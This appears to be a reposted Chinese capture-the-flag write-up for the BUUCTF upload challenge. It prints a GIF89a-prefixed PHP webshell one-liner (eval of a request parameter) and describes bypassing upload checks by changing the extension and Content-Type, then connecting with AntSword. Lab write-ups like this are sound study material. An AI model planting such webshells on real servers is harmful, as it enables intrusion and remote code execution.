文件上传 [极客大挑战 2019]Upload 1

news/2025/2/14 5:08:26/

题目来源:buuctf [极客大挑战 2019]Upload 1

打开题目

是一道文件上传题

我们上传png和jpg格式的一句话木马上去看看

上传失败了,应该是在后端也对我们的文件内容进行了检测,检测到我们的一句话木马里面包含<?

那我们重新换个一句话木马

GIF89a? <script language="php">eval($_REQUEST[1])</script>

将文件名改为png后缀的就可以直接上传成功

也可以上传中进行抓包,然后改文件格式为image/jpeg

发包回去,就可以发现文件上传成功了

 用蚁剑连接

 在根目录下找到了flag

不过在文件上传成功的时候我们也知道了图片的保存路径是upload/filename

访问一下


http://www.ppmy.cn/news/1148529.html

相关文章

c++ 学习之 强制类型转换运算符 const_cast

看例子怎么用 int main() {int a 1;int* p a;// 会发生报错// 如果学着 c的风格类型转换int* pp (int*)a;*pp 1; // 编译不报错&#xff0c;但是运行报错// const_castconst int n 5;const std::string s "lalal";// const cast 只针对指针&#xff0c;引用&…

MS4344:24bit、192kHz 双通道数模转换电路

MS4344 是一款立体声数模转换芯片&#xff0c;内含插值滤波器、 multi-bit 数模转换器、输出模拟滤波器。 MS4344 支持大部分 的音频数据格式。 MS4344 基于一个带线性模拟低通滤波器的 四阶 multi-bit Δ-Σ 调制器&#xff0c;而且本芯片可以通过检测信号频率 和主时钟频…

panads操作excel

panads简介 pandas是基于Numpy创建的Python包&#xff0c;内置了大量标准函数&#xff0c;能够高效地解决数据分析数据处理和分析任务&#xff0c;pandas支持多种文件的操作&#xff0c;比如Excel&#xff0c;csv&#xff0c;json&#xff0c;txt 文件等&#xff0c;读取文件之…

多线程并发篇---第五篇

系列文章目录 文章目录 系列文章目录一、什么是线程安全二、Thread类中的yield方法有什么作用?三、Java线程池中submit() 和 execute()方法有什么区别?一、什么是线程安全 线程安全就是说多线程访问同一段代码,不会产生不确定的结果。 又是一个理论的问题,各式各样的答案有…

第二章:OSI参考模型与TCP/IP模型

OSI参考模型与TCP/IP模型 一、OSI参考模型二、TCP/IP模型2.1 四层分法&#xff08;书上&#xff09;2.2 五层分法&#xff08;实际厂商&#xff09;2.3 数据封装和解封装2.3.1 封装2.3.2 解封装2.3.3 TCP/IP分层封装2.3.4 数据封装和解封装过程 一、OSI参考模型 1.物理层 定义电…

【Vuex+ElementUI】Vuex中取值存值以及异步加载的使用

一、导言 1、引言 Vuex是一个用于Vue.js应用程序的状态管理模式和库。它建立在Vue.js的响应式系统之上&#xff0c;提供了一种集中管理应用程序状态的方式。使用Vuex&#xff0c;您可以将应用程序的状态存储在一个单一的位置&#xff08;即“存储”&#xff09;中&#xff0c;…

搞流式计算,大厂也没有什么神话

抖音、今日头条&#xff0c;是字节跳动旗下最受用户欢迎的两款产品&#xff0c;也是字节跳动的门面。而在这背后&#xff0c;是众多技术团队在支撑&#xff0c;流式计算就是其中一支。 不过&#xff0c;即使是在字节跳动&#xff0c;搞流式计算也没有神话。只有一群年轻人&…

安装Docker(Linux:CentOS)

大家好我是苏麟今安装一下Docker. 安装Docker Docker 分为 CE 和 EE 两大版本。CE 即社区版&#xff08;免费&#xff0c;支持周期 7 个月&#xff09;&#xff0c;EE 即企业版&#xff0c;强调安全&#xff0c;付费使用&#xff0c;支持周期 24 个月。 Docker CE 分为 stab…